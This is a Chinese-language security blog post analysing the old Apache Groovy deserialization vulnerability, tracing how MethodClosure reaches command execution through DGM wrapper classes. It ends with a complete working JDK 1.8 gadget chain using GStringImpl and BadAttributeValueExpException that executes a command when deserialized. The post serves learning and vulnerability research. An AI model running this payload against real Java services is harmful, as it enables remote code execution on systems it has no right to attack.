0x01 前言
我又来更新了,哈哈,托更现象太严重,见谅,只为了做好文章质量。本次要讲的是比较早的漏洞了,主要是我觉得挺适合新手学习的,包括我自己哈,所以打算做个学习笔记,和大家一起分享。写的不好的地方,还望大佬们多多包涵。
0x02 代码调试
首先,我们先搭建一下环境,idea创建一个空的maven项目即可,然后导入如下依赖
<dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.1</version>
</dependency>
</dependencies>
因为groovy漏洞影响的版本为Groovy 1.7.0-2.4.3,所以我们导入范围内的版本即可
然后就是写测试代码了,如下
public class DemoSerializable {
public static void main(String[] args) throws Exception {
MethodClosure mc = new MethodClosure("calc", "execute");
mc.call();
}
}
我们要做的是过一遍正常程序执行流程,熟悉程序执行时经过了哪些方法,再执行之前我们可以先在以下位置打上一个断点
-
MethodClosure mc = new MethodClosure("calc", "execute");
-
mc.call();
-
groovy.lang.Closure#call()
然后就可以开启debug模式运行程序了,我们先进入MethodClosure构造方法,如图
可以看到构造方法中就是将我们传入的参数进行初始化赋值,owner参数是通过父类的构造方法对父类中的变量进行初始化赋值,如图
这里的owner分别赋值给了this.owner以及this.delegate,这边还有一个变量我们需要留一下,就是this.maximumNumberOfParameters,该变量我们后面会用到,暂时先保留。
当MethodClosure全部初始化赋值完毕后,回到main方法执行call方法,如图
可以看到因为MethodClosure子类没有call方法,所以会调用父类Closure的call方法,this代表的是MethodClosure子类对象。接着往下走,调用this.call方法进入到有参的重载call方法,我们跟进this.getMetaClass()方法,如图
这里调用方法前会先根据 InvokerHelper.getMetaClass(this.getClass()) 方法来获取 MetaClass对象,可以看到获取到的是MetaClassImpl对象,也就是MetaClass接口的实现类,然后判断是否为null,这里不为null直接返回该对象。
返回后的对象再调用invokeMethod(this, "doCall", args)方法,如图
我们继续跟进方法,如图
这时传入对应的参数,再调用下面的invokeMethod方法,下面会做一些判断,object不为null所以进入else代码块,然后methodName不为call继续往下走,method为null满足条件,进入 this.getMethodWithCaching(sender, methodName, arguments, isCallToSuper) 方法中,如图(这个方法也是比较重要的方法,留意一下)
if判断不成立进入else代码块,然后会调用MetaMethodIndex对象的getMethods方法,传入MethodClosure类对象和 doCall 字符串,这里我们跟进去,如图
可以看到先是对对象的hashCode以及方法名doCall字符串分别进行了hash运算,然后相加再次求出hash赋值给h,然后下一步又进行了按位与运算求得值为234。这里的table是一个存放了大量MetaMethodIndex$Entry的数组,这里的意思就是根据求出的值234下标从数组中取出对应的对象,这里的234下标对应的对象如图
咦?是不是看出了点什么端倪。这里的name也为doCall,和传入的方法名相同,然后hash值也和运算后的hash值相同,cachedClass为MethodClosure类对象,好像有那么点意思了。这里的疑虑我等会为大家揭晓,这也是很多漏洞分析者没有分析到的点,多数人只知道取出来是什么,而却不知道,为什么会取出来这个对象。
因为hash相同,name也相同,所以满足判断返回该对象
可以看到返回的e对象就是我们刚刚看到的对象,接着往下走进入this.getNormalMethodWithCaching(arguments, e) 方法,如图
在方法中,我们可以看到先将e对象中的methods对象取了出来,然后进入else代码块,因为e.cacheMethod为null,所以跳过if判断继续往下走。我们重点关注圈出来的两个地方,一个是创建一个CacheEntry对象,还有一个是返回cacheEntry对象中的method对象,如图
可以看到返回的是CachedMethod对象,可以理解为Method对象,包含执行的方法。
然后返回到groovy.lang.MetaClassImpl#invokeMethod(java.lang.Class, java.lang.Object, java.lang.String, java.lang.Object[], boolean, boolean)方法中,继续往下走,如图
可以看到,因为object为MethodClosure对象,所以isClosure为true,进入if代码块。然后对object对象进行了强转,获取了owner对象,也就是我们要执行的命令“calc”,因为methodName满足"doCall".equals(methodName)判断,所以进入第二层if代码块,第三层也满足继续进入。
在第三层if代码块中,将Closure对象强转为了MethodClosure实现类对象,获取了方法名“execute”,然后调用this.registry.getMetaClass(ownerClass)方法获取到MetaClassImpl对象,如图
可以看到获取到MetaClassImpl对象,然后继续调用invokeMethod方法,其实就是递归调用,传入ownerClass、owner、methodName等参数,参数值图中都可以看到,继续跟进方法
可以看到又回到了groovy.lang.MetaClassImpl#invokeMethod(java.lang.Class, java.lang.Object, java.lang.String, java.lang.Object[], boolean, boolean)方法中,不过和第一次代入得参数不一样(划重点),我们继续跟进
依然是调用this.metaMethodIndex.getMethods(sender, methodName)方法,和第一次参数不同,继续跟进
这次计算得出的数组下标为55,我们来看一下55里面是什么对象,如图
可以看到,对象中的name和我们传入的方法名是一样的,hash又是一样的,有点意思吧。不过也有不一样的,那就是methods中的对象变成了代理对象,这里是程序自定义的Proxy代理对象,不要搞混了。然后多了一个className,其值为 org/codehaus/groovy/runtime/dgm$880。
className干嘛的我们先不考虑,至少程序执行到这里,我们已经能看出端倪了,那就是我们传入什么方法名(例如:execute),则获取到的对象方法名也是一样的(例如:execute),然后每个方法名对应各自不同的对象。
程序接着往下走回到groovy.lang.MetaClassImpl#invokeMethod(java.lang.Class, java.lang.Object, java.lang.String, java.lang.Object[], boolean, boolean)方法,如图
返回的method对象就是className对象的对象,然后object这次不为Closure类型了,所以不进入if代码块,接着往下走,如图
method不为null,所以会调用dgm$880对象的doMethodInvoke方法,我们去看看,如图
在该方法中调用了ProcessGroovyMethods.execute((String)var1)方法,传入了我们要执行的命令“calc”,继续跟入
这时候才真的水落石出了,原来命令是在这里执行的,弹个窗
当然,我的目的不是教你怎么弹窗的,而是要教会你为什么是这样的结果,以及这个dgm$880对象是怎么来的。
0x03 dgm的生成与使用
在这里,就要讲一下groovy程序的设计思想了,在groovy中一般都是通过反射来调用方法的,但是在java中,通过反射来调用方法要比直接调用方法慢上好几倍,所以这个时候DGM就登场了。
DGM全称是DefaultGroovyMethods,DGM类中包含了Groovy为JDK的类添加的各种方法。DGM调用优化的思想就是通过直接调用来代替反射调用。而要实现直接调用,则需要为DGM中的每个方法生成一个从MetaMethod派生的包装类,该类的invoke方法将直接调用DGM中对应的方法。
在编译Groovy自身的Java代码(不是用Groovy写的代码)之后,通过调用DgmConverter类的main方法,为DefaultGroovyMethods的每个方法生成一个包装类,该类继承GeneratedMetaMethod类,而GeneratedMetaMethod类则继承MetaMethod类。该包装类的类名类似于org.codehaus.groovy.runtime.dgm$123($后跟一个数),方法如下
org.codehaus.groovy.tools.DgmConverter#main
public static void main(String[] args) throws IOException, ClassNotFoundException {
String targetDirectory = "target/classes/";
boolean info = args.length == 1 && args[0].equals("--info") || args.length == 2 && args[0].equals("--info");
if (info && args.length == 2) {
targetDirectory = args[1];
if (!targetDirectory.endsWith("/")) {
targetDirectory = targetDirectory + "/";
}
}
List<CachedMethod> cachedMethodsList = new ArrayList();
Class[] arr$ = DefaultGroovyMethods.DGM_LIKE_CLASSES;
int len$ = arr$.length;
int cur;
for(cur = 0; cur < len$; ++cur) {
Class aClass = arr$[cur];
Collections.addAll(cachedMethodsList, ReflectionCache.getCachedClass(aClass).getMethods());
}
CachedMethod[] cachedMethods = (CachedMethod[])cachedMethodsList.toArray(new CachedMethod[cachedMethodsList.size()]);
List<DgmMethodRecord> records = new ArrayList();
cur = 0;
CachedMethod[] arr$ = cachedMethods;
int len$ = cachedMethods.length;
for(int i$ = 0; i$ < len$; ++i$) {
CachedMethod method = arr$[i$];
if (method.isStatic() && method.isPublic() && method.getCachedMethod().getAnnotation(Deprecated.class) == null && method.getParameterTypes().length != 0) {
Class returnType = method.getReturnType();
String className = "org/codehaus/groovy/runtime/dgm$" + cur++;
DgmMethodRecord record = new DgmMethodRecord();
records.add(record);
record.methodName = method.getName();
record.returnType = method.getReturnType();
record.parameters = method.getNativeParameterTypes();
record.className = className;
ClassWriter cw = new ClassWriter(1);
cw.visit(47, 1, className, (String)null, "org/codehaus/groovy/reflection/GeneratedMetaMethod", (String[])null);
createConstructor(cw);
String methodDescriptor = BytecodeHelper.getMethodDescriptor(returnType, method.getNativeParameterTypes());
createInvokeMethod(method, cw, returnType, methodDescriptor);
createDoMethodInvokeMethod(method, cw, className, returnType, methodDescriptor);
createIsValidMethodMethod(method, cw, className);
cw.visitEnd();
byte[] bytes = cw.toByteArray();
FileOutputStream fileOutputStream = new FileOutputStream(targetDirectory + className + ".class");
fileOutputStream.write(bytes);
fileOutputStream.flush();
fileOutputStream.close();
}
}
DgmMethodRecord.saveDgmInfo(records, targetDirectory + "/META-INF/dgminfo");
if (info) {
System.out.println("Saved " + cur + " dgm records to: " + targetDirectory + "/META-INF/dgminfo");
}
}
主要就是获取特定类中的所有方法,不止DefaultGroovyMethods一个类,还有其他几个类,就不一一列举了,感兴趣可以看下源码。获取到方法后,将对应的方法名和对应的类名封装在一起,一起写入dgminfo文件中,如图
可以看到,方法名对应特定的对象,每个人的机器生成的顺序可能都不太一样,这也就能解释为什么之前使用execute方法名,从table中获取到的方法名也为execute了,以及其所关联的对象中的方法也为execute。
然后,当程序运行时,就会从dgminfo文件中去读取内容,获取对应的值,代码如下
org.codehaus.groovy.reflection.GeneratedMetaMethod.DgmMethodRecord#loadDgmInfo
public static List<GeneratedMetaMethod.DgmMethodRecord> loadDgmInfo() throws IOException, ClassNotFoundException {
ClassLoader loader = GeneratedMetaMethod.DgmMethodRecord.class.getClassLoader();
DataInputStream in = new DataInputStream(new BufferedInputStream(loader.getResourceAsStream("META-INF/dgminfo")));
Map<Integer, Class> classes = new HashMap();
int i;
for(i = 0; i < PRIMITIVE_CLASSES.length; ++i) {
classes.put(i, PRIMITIVE_CLASSES[i]);
}
i = 0;
while(true) {
String name;
int key;
do {
name = in.readUTF();
if (name.length() == 0) {
int size = in.readInt();
List<GeneratedMetaMethod.DgmMethodRecord> res = new ArrayList(size);
for(int i = 0; i != size; ++i) {
boolean skipRecord = false;
GeneratedMetaMethod.DgmMethodRecord record = new GeneratedMetaMethod.DgmMethodRecord();
record.className = in.readUTF();
record.methodName = in.readUTF();
record.returnType = (Class)classes.get(in.readInt());
if (record.returnType == null) {
skipRecord = true;
}
int psize = in.readInt();
record.parameters = new Class[psize];
for(int j = 0; j < record.parameters.length; ++j) {
record.parameters[j] = (Class)classes.get(in.readInt());
if (record.parameters[j] == null) {
skipRecord = true;
}
}
if (!skipRecord) {
res.add(record);
}
}
in.close();
return res;
}
key = in.readInt();
} while(i++ < PRIMITIVE_CLASSES.length);
Class cls = null;
try {
cls = loader.loadClass(name);
} catch (ClassNotFoundException var11) {
continue;
}
classes.put(key, cls);
}
}
以键值对的形式,存入到map集合中,方便下次取出。
我们可以在以下位置打上断点,debug启动程序,即可看到整个执行流程
-
org.codehaus.groovy.reflection.GeneratedMetaMethod.DgmMethodRecord#loadDgmInfo // 加载文件中方法和对应的包装类
-
groovy.lang.MetaClassImpl#getNormalMethodWithCaching // 获取proxy对象的地方
-
org.codehaus.groovy.reflection.GeneratedMetaMethod.Proxy#proxy // 获取proxy的方法,和上一步有联系
下面用一张图展示以下,如图
可以看到整个执行的过程,这里时使用的懒加载,即程序调用时才实例化加载对象,这里时通过获取全限定类名然后使用类加载器加载并实例化赋值给proxy对象,这里的proxy对象就是我们前面说过的自定义的proxy对象。
由于写的时间比较晚,这里调试的部分大家可以自行搭建调试,更有助于理解。
0x04 jdk1.8利用链的发现以及分析
终于到了利用链编写环节,泪奔啊。。。
这里我采用的时jdk1.8的利用链去做的,没有使用sun.reflect.annotation.AnnotationInvocationHandler对象去做,就当学习。
通过前面的一系列分析我们可以知道,如果想执行命令,那么就得写一个MethodClosure对象,构造方法中传入要执行的命令“calc”,以及调用的方法“execute”,然后调用MethodClosure对象的call()方法,即可执行我们想要执行的命令。
那么我们的关注点就应该是在某个实现了Serializable接口的类中(没实现序列化接口的对象无法进行反序列化),通过构造方法或者其他方式传入了我们的恶意MethodClosure对象,然后再某个特定方法中调用了MethodClosure对象的call方法,这就是我们要寻找的目标类。
通过jar包中对call方法进行搜索,很快就定位到了一个合适的类:groovy.lang.GString,如图
由于代码比较长所以截取关键部分,可以看到Gstring是public的而且实现了Serializable接口,通过构造方法可以传入MethodClosure对象,然后在其writeTo方法中调用了call方法,我们再来看一下哪里调用writeTo方法,如图
好家伙,这不是完美吗?!激动的我和你们一样,立马写了个测试demo,如图
???黑人问号
怎么看怎么怪,其实不难理解,因为Gsting是abstract抽象类,一般情况下abstract类是不能够实例化,但是面两种情形下是可以实例化的。
一、通过abstract 父类的引用来指向子类的实例,子类A继承abstract 父类B,B aa=new A("a");
二、通过实例化子类来间接实例化抽象类,因为子类实例化的时候,会默认调用先父类的实例化方法
这里我用的是第二种,代码也不难写,如图
咦?为啥又报错了呢,瞎琢磨肯定是解决不了问题的,我们直接debug看看问题出在哪里,再以下位置打上断点
-
gString.toString()
-
groovy.lang.GString#toString
-
groovy.lang.GString#writeTo
打好断点后开始debug运行,先进入groovy.lang.GString#toString方法,如图
在进入writeTo方法中,如图
跟进getStrings方法,看下返回了什么
返回的是我们写入构造方法的字符串,回来后继续往下走
由于i<numberOfValues成立,所以进入if代码块,然后取出this.values数组的第一个元素,也就是我们存入的恶意MethodClosure对象,通过if判断继续往下,如图
跟进getMaximumNumberOfParameters方法中,看看获取了什么
好家伙,原来罪魁祸首在这里,因为maximumNumberOfParameters的值为2,所以不能通过前面的if判断,就抛了异常。
好家伙,这时有的童鞋可能要急了:哎呀!眼看就要成功了,咋卡在这里了,这可咋办呀!
平时多学(看)点(毛)知(片)识,也不至于卡住是不。既然它要为0才能通过判断,那么我们就让它为0不就好了,关键时候还有反射老大哥没出手呢,不慌!我们先来看一下这个变量长啥样,如图
好家伙,原来该成员变量是在Closure类中定义的,还好,只是用了protected修饰而已,我们直接反射修改即可。这里有一点需要注意一下,那就是由于Closure时抽象类 ,所以我们不直接new它,我们通过类加载的方式去实例化它然后修改maximumNumberOfParameters变量的值,这样就可以实现绕过验证执行恶意代码的目的了。代码如图
解释一下,这里为什么可以用 mc对象去修改Closure对象的成员属性值,因为MethodClosure对象继承于Closure对象,所以使用MethodClosure对象来修改maximumNumberOfParameters属性的值是可行的。
运行后如图
都到了这一步了,后面的应该也不难了吧,上才艺!
可曾记得大明湖畔,啊呸,可曾记得javax.management.BadAttributeValueExpException这位老兄弟,是的,想起来是吧,再该类的readObject方法中正好调用了toString方法,如图
是不是很完美,量身订制一般。
所以最终payload如下
public class Test1 {
public static void main(String[] args) throws Exception {
MethodClosure mc = new MethodClosure("calc", "execute");
Class<?> clazz = Class.forName("groovy.lang.Closure");
Field f = clazz.getDeclaredField("maximumNumberOfParameters");
f.setAccessible(true);
f.set(mc, 0);
GStringImpl gString = new GStringImpl(new Object[]{mc}, new String[]{"1"});
BadAttributeValueExpException bad = new BadAttributeValueExpException("123");
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad, gString);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bad);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
效果如图
0x05 总结
到这里就接近尾声了,关于反序列化利用链其实还有太多值得我们去学习,学无止境,永远不要停下脚步。
0x06 参考文章
Groovy深入探索——DGM调用优化(https://blog.csdn.net/johnny_jian/article/details/83911411)
Java 反序列化系列 ysoserial Groovy 1(https://paper.seebug.org/1171/)
本文始发于微信公众号(伟盾网络安全):Apache Groovy反序列化分析+jdk1.8利用链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论